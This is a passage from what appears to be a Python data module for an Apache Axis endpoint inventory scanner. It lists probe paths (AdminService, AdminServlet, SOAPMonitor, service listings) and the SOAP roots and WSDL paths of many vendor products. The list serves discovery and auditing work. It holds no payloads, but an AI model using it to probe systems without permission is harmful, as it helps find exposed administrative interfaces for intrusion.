 ('/axis-1.2/servlet/AdminServlet', None),
 ('/axis-1.2/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis-1.2/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis-1.2/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis-1.2/{rand}.jws', None),
 ('/axis-1.2/EchoHeaders.jws?wsdl', None),
 ('/axis-1.2/index.jsp', None),
 ('/axis-1.2/fingerprint.jsp', None),
 ('/axis-1.2/SOAPMonitor', None),
 ('/axis-1.2/{rand}', '/axis-1.2'),
 ('/axis-1.2/webservice/{rand}', '/axis-1.2/webservice'),
 ('/axis-1_4/axis/{rand}', '/axis-1_4/axis'),
 ('/axis-1.3/ws/{rand}', '/axis-1.3/ws'),
 ('/axis-1.2.1/services?list', '/axis-1.2.1/services'),
 ('/axis-1.2.1/services/Version?method=getVersion', '/axis-1.2.1/services'),
 ('/axis-1.2.1/services/Version', '/axis-1.2.1/services'),
 ('/axis-1.2.1/services/AdminService?wsdl', '/axis-1.2.1/services'),
 ('/axis-1.2.1/services/{rand}?wsdl', '/axis-1.2.1/services'),
 ('/axis-1.2.1/services/{rand}?method=axisinv', '/axis-1.2.1/services'),
 ('/axis-1.2.1/servlet/AxisServlet?list', '/axis-1.2.1/servlet/AxisServlet'),
 ('/axis-1.2.1/servlet/AxisServlet/{rand}', '/axis-1.2.1/servlet/AxisServlet'),
 ('/axis-1.2.1/servlet/AdminServlet', None),
 ('/axis-1.2.1/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis-1.2.1/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis-1.2.1/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis-1.2.1/{rand}.jws', None),
 ('/axis-1.2.1/EchoHeaders.jws?wsdl', None),
 ('/axis-1.2.1/index.jsp', None),
 ('/axis-1.2.1/fingerprint.jsp', None),
 ('/axis-1.2.1/SOAPMonitor', None),
 ('/axis-1.2.1/{rand}', '/axis-1.2.1'),
 ('/axis-1.2.1/webservice/{rand}', '/axis-1.2.1/webservice'),
 ('/axis14/soap/{rand}', '/axis14/soap'),
 ('/axis-1.2/webservices/{rand}', '/axis-1.2/webservices'),
 ('/axis14/axis/{rand}', '/axis14/axis'),
 ('/axis-1.3/soap/{rand}', '/axis-1.3/soap'),
 ('/axis-1.2/ws/{rand}', '/axis-1.2/ws'),
 ('/axis-1.2.1/webservices/{rand}', '/axis-1.2.1/webservices'),
 ('/axis12/services?list', '/axis12/services'),
 ('/axis12/services/Version?method=getVersion', '/axis12/services'),
 ('/axis12/services/Version', '/axis12/services'),
 ('/axis12/services/AdminService?wsdl', '/axis12/services'),
 ('/axis12/services/{rand}?wsdl', '/axis12/services'),
 ('/axis12/services/{rand}?method=axisinv', '/axis12/services'),
 ('/axis12/servlet/AxisServlet?list', '/axis12/servlet/AxisServlet'),
 ('/axis12/servlet/AxisServlet/{rand}', '/axis12/servlet/AxisServlet'),
 ('/axis12/servlet/AdminServlet', None),
 ('/axis12/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis12/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis12/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis12/{rand}.jws', None),
 ('/axis12/EchoHeaders.jws?wsdl', None),
 ('/axis12/index.jsp', None),
 ('/axis12/fingerprint.jsp', None),
 ('/axis12/SOAPMonitor', None),
 ('/axis12/{rand}', '/axis12'),
 ('/axis12/webservice/{rand}', '/axis12/webservice'),
 ('/axis-1.3/axis/{rand}', '/axis-1.3/axis'),
 ('/axis-1.2.1/ws/{rand}', '/axis-1.2.1/ws'),
 ('/axis-1.2/soap/{rand}', '/axis-1.2/soap'),
 ('/axis12/webservices/{rand}', '/axis12/webservices'),
 ('/axis13/services?list', '/axis13/services'),
 ('/axis13/services/Version?method=getVersion', '/axis13/services'),
 ('/axis13/services/Version', '/axis13/services'),
 ('/axis13/services/AdminService?wsdl', '/axis13/services'),
 ('/axis13/services/{rand}?wsdl', '/axis13/services'),
 ('/axis13/services/{rand}?method=axisinv', '/axis13/services'),
 ('/axis13/servlet/AxisServlet?list', '/axis13/servlet/AxisServlet'),
 ('/axis13/servlet/AxisServlet/{rand}', '/axis13/servlet/AxisServlet'),
 ('/axis13/servlet/AdminServlet', None),
 ('/axis13/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis13/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis13/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis13/{rand}.jws', None),
 ('/axis13/EchoHeaders.jws?wsdl', None),
 ('/axis13/index.jsp', None),
 ('/axis13/fingerprint.jsp', None),
 ('/axis13/SOAPMonitor', None),
 ('/axis13/{rand}', '/axis13'),
 ('/axis13/webservice/{rand}', '/axis13/webservice'),
 ('/axis-1.2/axis/{rand}', '/axis-1.2/axis'),
 ('/axis-1.2.1/soap/{rand}', '/axis-1.2.1/soap'),
 ('/axis12/ws/{rand}', '/axis12/ws'),
 ('/soapapi/services?list', '/soapapi/services'),
 ('/soapapi/services/Version?method=getVersion', '/soapapi/services'),
 ('/soapapi/services/Version', '/soapapi/services'),
 ('/soapapi/services/AdminService?wsdl', '/soapapi/services'),
 ('/soapapi/services/{rand}?wsdl', '/soapapi/services'),
 ('/soapapi/services/{rand}?method=axisinv', '/soapapi/services'),
 ('/soapapi/servlet/AxisServlet?list', '/soapapi/servlet/AxisServlet'),
 ('/soapapi/servlet/AxisServlet/{rand}', '/soapapi/servlet/AxisServlet'),
 ('/soapapi/servlet/AdminServlet', None),
 ('/soapapi/servlet/org.apache.axis.transport.http.AxisServlet',
  '/soapapi/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/soapapi/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/soapapi/{rand}.jws', None),
 ('/soapapi/EchoHeaders.jws?wsdl', None),
 ('/soapapi/index.jsp', None),
 ('/soapapi/fingerprint.jsp', None),
 ('/soapapi/SOAPMonitor', None),
 ('/soapapi/webservice/{rand}', '/soapapi/webservice'),
 ('/axis13/webservices/{rand}', '/axis13/webservices'),
 ('/axis-1.2.1/axis/{rand}', '/axis-1.2.1/axis'),
 ('/axis12/soap/{rand}', '/axis12/soap'),
 ('/axis13/ws/{rand}', '/axis13/ws'),
 ('/soapapi/webservices/{rand}', '/soapapi/webservices'),
 ('/webapi/services?list', '/webapi/services'),
 ('/webapi/services/Version?method=getVersion', '/webapi/services'),
 ('/webapi/services/Version', '/webapi/services'),
 ('/webapi/services/AdminService?wsdl', '/webapi/services'),
 ('/webapi/services/{rand}?wsdl', '/webapi/services'),
 ('/webapi/services/{rand}?method=axisinv', '/webapi/services'),
 ('/webapi/servlet/AxisServlet?list', '/webapi/servlet/AxisServlet'),
 ('/webapi/servlet/AxisServlet/{rand}', '/webapi/servlet/AxisServlet'),
 ('/webapi/servlet/AdminServlet', None),
 ('/webapi/servlet/org.apache.axis.transport.http.AxisServlet',
  '/webapi/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/webapi/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/webapi/{rand}.jws', None),
 ('/webapi/EchoHeaders.jws?wsdl', None),
 ('/webapi/index.jsp', None),
 ('/webapi/fingerprint.jsp', None),
 ('/webapi/SOAPMonitor', None),
 ('/webapi/webservice/{rand}', '/webapi/webservice'),
 ('/axis12/axis/{rand}', '/axis12/axis'),
 ('/soapapi/ws/{rand}', '/soapapi/ws'),
 ('/axis13/soap/{rand}', '/axis13/soap'),
 ('/webapi/webservices/{rand}', '/webapi/webservices'),
 ('/jaxrpc/services?list', '/jaxrpc/services'),
 ('/jaxrpc/services/Version?method=getVersion', '/jaxrpc/services'),
 ('/jaxrpc/services/Version', '/jaxrpc/services'),
 ('/jaxrpc/services/AdminService?wsdl', '/jaxrpc/services'),
 ('/jaxrpc/services/{rand}?wsdl', '/jaxrpc/services'),
 ('/jaxrpc/services/{rand}?method=axisinv', '/jaxrpc/services'),
 ('/jaxrpc/servlet/AxisServlet?list', '/jaxrpc/servlet/AxisServlet'),
 ('/jaxrpc/servlet/AxisServlet/{rand}', '/jaxrpc/servlet/AxisServlet'),
 ('/jaxrpc/servlet/AdminServlet', None),
 ('/jaxrpc/servlet/org.apache.axis.transport.http.AxisServlet',
  '/jaxrpc/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/jaxrpc/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/jaxrpc/{rand}.jws', None),
 ('/jaxrpc/EchoHeaders.jws?wsdl', None),
 ('/jaxrpc/index.jsp', None),
 ('/jaxrpc/fingerprint.jsp', None),
 ('/jaxrpc/SOAPMonitor', None),
 ('/jaxrpc/webservice/{rand}', '/jaxrpc/webservice'),
 ('/axis13/axis/{rand}', '/axis13/axis'),
 ('/soapapi/soap/{rand}', '/soapapi/soap'),
 ('/webapi/ws/{rand}', '/webapi/ws'),
 ('/remoting/services?list', '/remoting/services'),
 ('/remoting/services/Version?method=getVersion', '/remoting/services'),
 ('/remoting/services/Version', '/remoting/services'),
 ('/remoting/services/AdminService?wsdl', '/remoting/services'),
 ('/remoting/services/{rand}?wsdl', '/remoting/services'),
 ('/remoting/services/{rand}?method=axisinv', '/remoting/services'),
 ('/remoting/servlet/AxisServlet?list', '/remoting/servlet/AxisServlet'),
 ('/remoting/servlet/AxisServlet/{rand}', '/remoting/servlet/AxisServlet'),
 ('/remoting/servlet/AdminServlet', None),
 ('/remoting/servlet/org.apache.axis.transport.http.AxisServlet',
  '/remoting/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/remoting/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/remoting/{rand}.jws', None),
 ('/remoting/EchoHeaders.jws?wsdl', None),
 ('/remoting/index.jsp', None),
 ('/remoting/fingerprint.jsp', None),
 ('/remoting/SOAPMonitor', None),
 ('/remoting/webservice/{rand}', '/remoting/webservice'),
 ('/jaxrpc/webservices/{rand}', '/jaxrpc/webservices'),
 ('/soapapi/axis/{rand}', '/soapapi/axis'),
 ('/webapi/soap/{rand}', '/webapi/soap'),
 ('/jaxrpc/ws/{rand}', '/jaxrpc/ws'),
 ('/remoting/webservices/{rand}', '/remoting/webservices'),
 ('/wsapi/services?list', '/wsapi/services'),
 ('/wsapi/services/Version?method=getVersion', '/wsapi/services'),
 ('/wsapi/services/Version', '/wsapi/services'),
 ('/wsapi/services/AdminService?wsdl', '/wsapi/services'),
 ('/wsapi/services/{rand}?wsdl', '/wsapi/services'),
 ('/wsapi/services/{rand}?method=axisinv', '/wsapi/services'),
 ('/wsapi/servlet/AxisServlet?list', '/wsapi/servlet/AxisServlet'),
 ('/wsapi/servlet/AxisServlet/{rand}', '/wsapi/servlet/AxisServlet'),
 ('/wsapi/servlet/AdminServlet', None),
 ('/wsapi/servlet/org.apache.axis.transport.http.AxisServlet',
  '/wsapi/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/wsapi/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/wsapi/{rand}.jws', None),
 ('/wsapi/EchoHeaders.jws?wsdl', None),
 ('/wsapi/index.jsp', None),
 ('/wsapi/fingerprint.jsp', None),
 ('/wsapi/SOAPMonitor', None),
 ('/wsapi/webservice/{rand}', '/wsapi/webservice'),
 ('/webapi/axis/{rand}', '/webapi/axis'),
 ('/remoting/ws/{rand}', '/remoting/ws'),
 ('/soap-ws/services?list', '/soap-ws/services'),
 ('/soap-ws/services/Version?method=getVersion', '/soap-ws/services'),
 ('/soap-ws/services/Version', '/soap-ws/services'),
 ('/soap-ws/services/AdminService?wsdl', '/soap-ws/services'),
 ('/soap-ws/services/{rand}?wsdl', '/soap-ws/services'),
 ('/soap-ws/services/{rand}?method=axisinv', '/soap-ws/services'),
 ('/soap-ws/servlet/AxisServlet?list', '/soap-ws/servlet/AxisServlet'),
 ('/soap-ws/servlet/AxisServlet/{rand}', '/soap-ws/servlet/AxisServlet'),
 ('/soap-ws/servlet/AdminServlet', None),
 ('/soap-ws/servlet/org.apache.axis.transport.http.AxisServlet',
  '/soap-ws/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/soap-ws/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/soap-ws/{rand}.jws', None),
 ('/soap-ws/EchoHeaders.jws?wsdl', None),
 ('/soap-ws/index.jsp', None),
 ('/soap-ws/fingerprint.jsp', None),
 ('/soap-ws/SOAPMonitor', None),
 ('/soap-ws/{rand}', '/soap-ws'),
 ('/soap-ws/webservice/{rand}', '/soap-ws/webservice'),
 ('/jaxrpc/soap/{rand}', '/jaxrpc/soap'),
 ('/wsapi/webservices/{rand}', '/wsapi/webservices'),
 ('/jaxrpc/axis/{rand}', '/jaxrpc/axis'),
 ('/remoting/soap/{rand}', '/remoting/soap'),
 ('/wsapi/ws/{rand}', '/wsapi/ws'),
 ('/soap-ws/webservices/{rand}', '/soap-ws/webservices'),
 ('/ws-soap/services?list', '/ws-soap/services'),
 ('/ws-soap/services/Version?method=getVersion', '/ws-soap/services'),
 ('/ws-soap/services/Version', '/ws-soap/services'),
 ('/ws-soap/services/AdminService?wsdl', '/ws-soap/services'),
 ('/ws-soap/services/{rand}?wsdl', '/ws-soap/services'),
 ('/ws-soap/services/{rand}?method=axisinv', '/ws-soap/services'),
 ('/ws-soap/servlet/AxisServlet?list', '/ws-soap/servlet/AxisServlet'),
 ('/ws-soap/servlet/AxisServlet/{rand}', '/ws-soap/servlet/AxisServlet'),
 ('/ws-soap/servlet/AdminServlet', None),
 ('/ws-soap/servlet/org.apache.axis.transport.http.AxisServlet',
  '/ws-soap/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/ws-soap/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/ws-soap/{rand}.jws', None),
 ('/ws-soap/EchoHeaders.jws?wsdl', None),
 ('/ws-soap/index.jsp', None),
 ('/ws-soap/fingerprint.jsp', None),
 ('/ws-soap/SOAPMonitor', None),
 ('/ws-soap/{rand}', '/ws-soap'),
 ('/ws-soap/webservice/{rand}', '/ws-soap/webservice'),
 ('/remoting/axis/{rand}', '/remoting/axis'),
 ('/soap-ws/ws/{rand}', '/soap-ws/ws'),
 ('/wsapi/soap/{rand}', '/wsapi/soap'),
 ('/ws-soap/webservices/{rand}', '/ws-soap/webservices'),
 ('/legacy/services?list', '/legacy/services'),
 ('/legacy/services/Version?method=getVersion', '/legacy/services'),
 ('/legacy/services/Version', '/legacy/services'),
 ('/legacy/services/AdminService?wsdl', '/legacy/services'),
 ('/legacy/services/{rand}?wsdl', '/legacy/services'),
 ('/legacy/services/{rand}?method=axisinv', '/legacy/services'),
 ('/legacy/servlet/AxisServlet?list', '/legacy/servlet/AxisServlet'),
 ('/legacy/servlet/AxisServlet/{rand}', '/legacy/servlet/AxisServlet'),
 ('/legacy/servlet/AdminServlet', None),
 ('/legacy/servlet/org.apache.axis.transport.http.AxisServlet',
  '/legacy/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/legacy/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/legacy/{rand}.jws', None),
 ('/legacy/EchoHeaders.jws?wsdl', None),
 ('/legacy/index.jsp', None),
 ('/legacy/fingerprint.jsp', None),
 ('/legacy/SOAPMonitor', None),
 ('/legacy/{rand}', '/legacy'),
 ('/legacy/webservice/{rand}', '/legacy/webservice'),
 ('/wsapi/axis/{rand}', '/wsapi/axis'),
 ('/soap-ws/soap/{rand}', '/soap-ws/soap'),
 ('/ws-soap/ws/{rand}', '/ws-soap/ws'),
 ('/apps/services?list', '/apps/services'),
 ('/apps/services/Version?method=getVersion', '/apps/services'),
 ('/apps/services/Version', '/apps/services'),
 ('/apps/services/AdminService?wsdl', '/apps/services'),
 ('/apps/services/{rand}?wsdl', '/apps/services'),
 ('/apps/services/{rand}?method=axisinv', '/apps/services'),
 ('/apps/servlet/AxisServlet?list', '/apps/servlet/AxisServlet'),
 ('/apps/servlet/AxisServlet/{rand}', '/apps/servlet/AxisServlet'),
 ('/apps/servlet/AdminServlet', None),
 ('/apps/servlet/org.apache.axis.transport.http.AxisServlet',
  '/apps/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/apps/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/apps/{rand}.jws', None),
 ('/apps/EchoHeaders.jws?wsdl', None),
 ('/apps/index.jsp', None),
 ('/apps/fingerprint.jsp', None),
 ('/apps/SOAPMonitor', None),
 ('/apps/{rand}', '/apps'),
 ('/apps/webservice/{rand}', '/apps/webservice'),
 ('/legacy/webservices/{rand}', '/legacy/webservices'),
 ('/soap-ws/axis/{rand}', '/soap-ws/axis'),
 ('/ws-soap/soap/{rand}', '/ws-soap/soap'),
 ('/legacy/ws/{rand}', '/legacy/ws'),
 ('/apps/webservices/{rand}', '/apps/webservices'),
 ('/ws-soap/axis/{rand}', '/ws-soap/axis'),
 ('/apps/ws/{rand}', '/apps/ws'),
 ('/legacy/soap/{rand}', '/legacy/soap'),
 ('/legacy/axis/{rand}', '/legacy/axis'),
 ('/apps/soap/{rand}', '/apps/soap'),
 ('/apps/axis/{rand}', '/apps/axis'))
INVENTORY_CONTEXT_PROBES = ('/services/{rand}',
 '/services',
 '/servlet/AxisServlet',
 '/services/Version?wsdl',
 '/happyaxis.jsp',
 '/',
 '/services?list',
 '/services/Version?method=getVersion',
 '/services/Version',
 '/services/AdminService?wsdl',
 '/services/{rand}?wsdl',
 '/services/{rand}?method=axisinv',
 '/servlet/AxisServlet?list',
 '/servlet/AxisServlet/{rand}',
 '/servlet/AdminServlet',
 '/servlet/org.apache.axis.transport.http.AxisServlet',
 '/servlet/org.apache.axis.transport.http.AdminServlet',
 '/{rand}.jws',
 '/EchoHeaders.jws?wsdl',
 '/index.jsp',
 '/fingerprint.jsp',
 '/SOAPMonitor')
INVENTORY_VENDOR_ROOTS = ('/rpc/soap',
 '/rpc/soap-axis',
 '/plugins/servlet/soap-axis1',
 '/ce-soap60/services',
 '/ce-soap50/services',
 '/polarion/ws/services',
 '/ssf/ws',
 '/globalsight/services',
 '/webdialer/services',
 '/realtimeservice/services',
 '/realtimeservice2/services',
 '/perfmonservice/services',
 '/perfmonservice2/services',
 '/controlcenterservice/services',
 '/controlcenterservice2/services',
 '/CDRonDemandService/services',
 '/logcollectionservice/services',
 '/logcollectionservice2/services',
 '/axis',
 '/usm/services',
 '/introscope-web-services/services',
 '/PAS/services',
 '/SiteScope/services',
 '/osapi',
 '/arsys/services',
 '/meaweb/services',
 '/awsapi/servlet/AxisServlet',
 '/iam/im/TEWS6',
 '/idm/TEWS6',
 '/IdentityGuardAuthService/services',
 '/IdentityGuardAdminService/services',
 '/nidp/services',
 '/nesp/services',
 '/cc/soap',
 '/pc/soap',
 '/bc/soap',
 '/ab/soap',
 '/soap/services',
 '/xmlpserver/services',
 '/pspc/services',
 '/core/services',
 '/wsh/services',
 '/cmx/services',
 '/ws',
 '/sbm/services',
 '/prweb/PRSOAPServlet',
 '/MicroStrategyWS/services',
 '/dswsbobje/services',
 '/jasperserver/services',
 '/jasperserver-pro/services',
 '/SpagoBI/services',
 '/SpagoBI/sdk',
 '/alfresco/api',
 '/api/axis',
 '/api/secure/axis',
 '/tunnel-web/axis',
 '/tunnel-web/secure/axis',
 '/CFIDE/services',
 '/fedora/services',
 '/fedora/servlet/AxisServlet',
 '/exist/services',
 '/dspace-lni/lni',
 '/dspace/lni',
 '/wsrp4j/wsrp4j',
 '/wsrp4j-producer-webapp/services',
 '/wsrf/services',
 '/ws4ee/services',
 '/jboss-net/services',
 '/juddi/services',
 '/Scada-LTS/services',
 '/ACMEWS/services',
 '/infranetwebsvc/services',
 '/messageeventservice/services',
 '/vmws/services',
 '/openbravo/services',
 '/CuramWS/services',
 '/adxwsvc/services',
 '/XIAxisAdapter',
 '/ormrpc/services',
 '/defaultroot/services',
 '/zfca/axis',
 '/active-bpel/services',
 '/active-bpel/services/soap12',
 '/oer/services',
 '/com.ibm.ram.repository.web.ws.was/services',
 '/com.ibm.ram.repository.web.ws.was/RAMSecure/services',
 '/axis2/services',
 '/pf-mgmt-ws/ws',
 '/pf-ws/services',
 '/ctkip/services',
 '/ims-ws/services',
 '/dms/services',
 '/dms2/services2',
 '/ServiceEmulation/services',
 '/konakart/services',
 '/konakartadmin/services',
 '/josso/services',
 '/greenstone3/services',
 '/xplanner/soap',
 '/xnat/services',
 '/xnat/servlet/AxisServlet',
 '/Rhythmyx/designwebservices',
 '/Rhythmyx/servlet',
 '/Rhythmyx/webservices',
 '/greenstone3/servlet/AxisServlet',
 '/ptapi/services',
 '/client/services',
 '/_common/webservices',
 '/flexnet/services',
 '/mailarchiva/services',
 '/glite-security-voms-admin-interface',
 '/aws/services',
 '/afirmaws/services',
 '/firma/services',
 '/SIGEM_TramitacionWS/services',
 '/SIGEM_RegistroTelematicoWS/services',
 '/SIGEM_EstructuraOrganizativaWS/services',
 '/SIGEM_EntidadesWS/services',
 '/SIGEM_CertificacionWS/services',
 '/SIGEM_CatastroWS/services',
 '/SIGEM_CalendarioWS/services',
 '/SIGEM_AutenticacionUsuariosWS/services',
 '/SIGEM_AntivirusWS/services',
 '/SIGEM_AdministracionSesionesBackOfficeWS/services',
 '/SIGEM_AdministracionSesionesAdmWS/services',
 '/ispacservicesws/services',
 '/archidoc/services',
 '/sf-soap43/services',
 '/ecmengine/services',
 '/sbn/services',
 '/emf-web/services',
 '/knowage/sdk',
 '/SpagoAxisService/services',
 '/TeamWeb/services',
 '/service_manager/invoker',
 '/cabio41/services',
 '/cabio42/services',
 '/cabio43/services',
 '/rtis',
 '/ws-legacy/services',
 '/skyboxview/webservice/services',
 '/skyboxview-softwareupdate/services',
 '/DL229/services',
 '/LFS/services',
 '/bdd/api/axis',
 '/bdd/api/secure/axis',
 '/eid/api/axis',
 '/eid/api/secure/axis',
 '/Workplace/P8BPMWSBroker',
 '/WorkplaceXT/P8BPMWSBroker',
 '/plm-api-axis/services',
 '/mule/services',
 '/security-ws/services',
 '/cr-ws/services',
 '/search-ws/services',
 '/process/services',
 '/notification/services',
 '/reporting-ws/services',
 '/userpref-ws/services',
 '/scoring/services',
 '/discussions/ws',
 '/discussions/ws/axis/services',
 '/teamworks/webservices',
 '/Campaign/services',
 '/aler/services',
 '/ims/services',
 '/4TRESS',
 '/4TRESS/services',
 '/dsview/services',
 '/alfresco/soapapi',
 '/o/com.liferay.wsrp.service/api/axis',
 '/o/opensocial-portlet/api/axis',
 '/opensocial-portlet/api/axis',
 '/axislegacy',
 '/webservices',
 '/enovia/services',
 '/ematrix/services',
 '/enovia/servlet/AxisServlet',
 '/ematrix/servlet/AxisServlet',
 '/EXEWebService/services',
 '/vertex-ws/services',
 '/webapi/services',
 '/PI/services',
 '/integration/services',
 '/webapps/ws/services',
 '/servlet/axis2/services',
 '/Services1.0/services',
 '/AlmServices1.0/services',
 '/www/core-service/services',
 '/ProtectManager/services',
 '/wsa/wsa1',
 '/webservice/services',
 '/Services',
 '/PrimoWebServices/services',
 '/i2b2/services',
 '/c4ws/services',
 '/uapws/service',
 '/portal/services',
 '/selfservice/service',
 '/xtHisService/services',
 '/sys/webservice',
 '/axis2-AWC/services',
 '/seeyon/services',
 '/ode/processes',
 '/petals/services',
 '/reqpro/services',
 '/eventmanager/services',
 '/dmwebservices2/services',
 '/www/manager-service/services',
 '/oaam_server/services',
 '/webservice',
 '/ITIMWebServices/services',
 '/AdaptiveAuthentication/services',
 '/WebServiceImpl/services',
 '/management/services',
 '/concerto/services',
 '/openmeetings/services',
 '/imcws/services',
 '/wssgs/services',
 '/tresearch/services',
 '/tomcat/axis/services',
 '/AddressBookJ2WE/services',
 '/Bank/services',
 '/GreenhouseEJB/services',
 '/opc/services',
 '/StockQuote/services',
 '/AddressBookW2JE/services',
 '/OrderProcessorEJB/services',
 '/WarehouseEJB/services',
 '/soap/servlet',
 '/SASBIWS/services',
 '/i2b2/rest',
 '/axis2/rest',
 '/interact/services',
 '/plan/services',
 '/opal2/services',
 '/grouper-ws/services',
 '/grouperWs/services',
 '/SASWIPSoapServices/services',
 '/foundation-webapp/services',
 '/imws/services',
 '/lmc/services',
 '/nbapi',
 '/APG-WS/wsapi',
 '/CommandCenterWebServices',
 '/apis/soap',
 '/OVSWS',
 '/les-services/services',
 '/ot-authws/services',
 '/iw/services/cm/2.0',
 '/vbr_soa/services',
 '/vbr_wsapi/services',
 '/axl',
 '/EyrAPI/EyrAPIConfiguration',
 '/FileStoreWebService',
 '/arcotuds/services',
 '/wsstack/services',
 '/qxi/services',
 '/idm/servlet',
 '/albpmServices',
 '/fuegoServices',
 '/imssoap/services',
 '/mws-ws/services',
 '/EndevorService/services',
 '/service/services',
 '/WSRRCoreSDO/services',
 '/webacs/services',
 '/soap',
 '/ocw/services',
 '/ocw/ws',
 '/policymanager/services',
 '/logapp20/services',
 '/wcm/services',
 '/moa-spss/services',
 '/srm',
 '/srm/services',
 '/glite-data-transfer-fts/services',
 '/ce-monitor/services',
 '/ig/services',
 '/gums/services',
 '/gums/servlet/AxisServlet',
 '/pap/services',
 '/pap/servlet/AxisServlet',
 '/tbw/services',
 '/tbwhomolog/services',
 '/webrun/services',
 '/qisserver/services',
 '/lsf/services',
 '/funambol/services',
 '/funambol/servlet/AxisServlet',
 '/soaplab2-axis/services',
 '/soaplab/services',
 '/gp/services',
 '/gp/servlet/AxisServlet',
 '/SRW/search',
 '/srw/search',
 '/SRW/services',
 '/srw/services',
 '/genesisWS/services',
 '/genesisws/services',
 '/ldbnrwws/services',
 '/Api/services',
 '/WebGoat/services',
 '/comerzzia/ws/services',
 '/webct/axis',
 '/webct/axis/services',
 '/fedoragsearch/services',
 '/fedoragsearch/soap',
 '/parabuild/integration/webservice',
 '/shark',
 '/obpm/services',
 '/obpm/servlet/AxisServlet',
 '/CaniasWebService/services',
 '/caniasLiveWS-v2/services',
 '/infoglueCMS/services',
 '/wct/services',
 '/wct-store/services',
 '/harvest-agent-h1/services',
 '/harvest-agent-h3/services',
 '/openMAXIMS/services',
 '/Node.WebServices/services',
 '/Node.WebServices/servlet/AxisServlet',
 '/xPressionWebService/services',
 '/wne/services',
 '/edu-sharing/services',
 '/buscar-1/services',
 '/publicacion-1/services',
 '/entregar-1/services',
 '/eVisor/services',
 '/eVisorToPdfWS/services',
 '/ScadaBR/services',
 '/ScadaBR/servlet/AxisServlet',
 '/ewengine/services',
 '/SvdbCache/services',
 '/sipxconfig/services')

# Default product endpoint paths and explicit servlet mappings from axis_inventory-2.py.
INVENTORY_VENDOR_PATHS = ('/rpc/soap/jirasoapservice-v2?wsdl', '/rpc/soap-axis/confluenceservice-v2?wsdl', '/plugins/servlet/soap-axis1/confluenceservice-v2?wsdl', '/rpc/soap-axis/confluenceservice-v1?wsdl', '/plugins/servlet/soap-axis1/confluenceservice-v1?wsdl', '/ce-soap60/services/CollabNet?wsdl', '/ce-soap50/services/CollabNet?wsdl', '/polarion/ws/services/SessionWebService?wsdl', '/ssf/ws/Facade?wsdl', '/ssf/ws/TeamingServiceV1?wsdl', '/sakai-axis/SakaiLogin.jws?wsdl', '/sakai-axis/SakaiScript.jws?wsdl', '/globalsight/services/AmbassadorWebService?wsdl', '/webdialer/services/WebdialerSoapService?wsdl', '/webdialer/services/WebdialerSoapService70?wsdl', '/realtimeservice/services/RisPort?wsdl', '/realtimeservice2/services/RISService70?wsdl', '/perfmonservice/services/PerfmonPort?wsdl', '/perfmonservice2/services/PerfmonService?wsdl', '/controlcenterservice/services/ControlCenterServicesPort?wsdl', '/controlcenterservice2/services/ControlCenterServices?wsdl', '/CDRonDemandService/services/CDRonDemand?wsdl', '/logcollectionservice/services/LogCollectionPort?wsdl', '/logcollectionservice2/services/LogCollectionPortTypeService?wsdl', '/axis/services/TelephonyService?wsdl', '/axis/services/USD_R11_WebService?wsdl', '/usm/services/CatalogService?wsdl', '/usm/services/UserService?wsdl', '/introscope-web-services/services/MetricsDataService?wsdl', '/introscope-web-services/services/AlertPollingService?wsdl', '/PAS/services/WSCentralService?wsdl', '/SiteScope/services/APISiteScopeImpl?wsdl', '/SiteScope/services/APIMonitorImpl?wsdl', '/osapi/com/opsware/server/ServerService?wsdl', '/arsys/services/ARService?wsdl', '/meaweb/services', '/vmware-vmo-webcontrol/webservice?wsdl', '/awsapi/servlet/AxisServlet', '/iam/im/TEWS6/identityEnv?wsdl', '/IdentityGuardAuthService/services/AuthenticationServiceV11?wsdl', '/IdentityGuardAuthService/services/AuthenticationServiceV9?wsdl', '/IdentityGuardAdminService/services/AdminServiceV11?wsdl', '/nidp/services/DiscoveryService?wsdl', '/cc/soap/PCClaimSearchIntegrationAPI?wsdl', '/bc/soap/BillingSummaryAPI?wsdl', '/bc/soap/BillingAPI?wsdl', '/pc/soap/ISystemToolsAPI?wsdl', '/cc/soap/ISystemToolsAPI?wsdl', '/soap/services/FormsService?wsdl', '/soap/services', '/soap/services/AuthenticationManagerService?wsdl', '/xmlpserver/services/PublicReportService?wsdl', '/xmlpserver/services/v2/ReportService?wsdl', '/pspc/services/AdminService?wsdl', '/core/services/AgileWebService?wsdl', '/wsh/services/BatchServices/DataIntegration?wsdl', '/cmx/services/SifService?wsdl', '/ws/services/DocbaseCredentials?wsdl', '/sbm/services/BizLogic1?wsdl', '/prweb/PRSOAPServlet', '/MicroStrategyWS/services/MSTRWSJ?wsdl', '/MicroStrategyWS/happyaxis.jsp', '/dswsbobje/services/Session?wsdl', '/dswsbobje/happyaxis.jsp', '/jasperserver/services/repository?wsdl', '/jasperserver-pro/services/repository?wsdl', '/jasperserver/services/ReportScheduler?wsdl', '/SpagoBI/services/SchedulerService?wsdl', '/SpagoBI/sdk/DocumentsService?wsdl', '/alfresco/api/RepositoryService?wsdl', 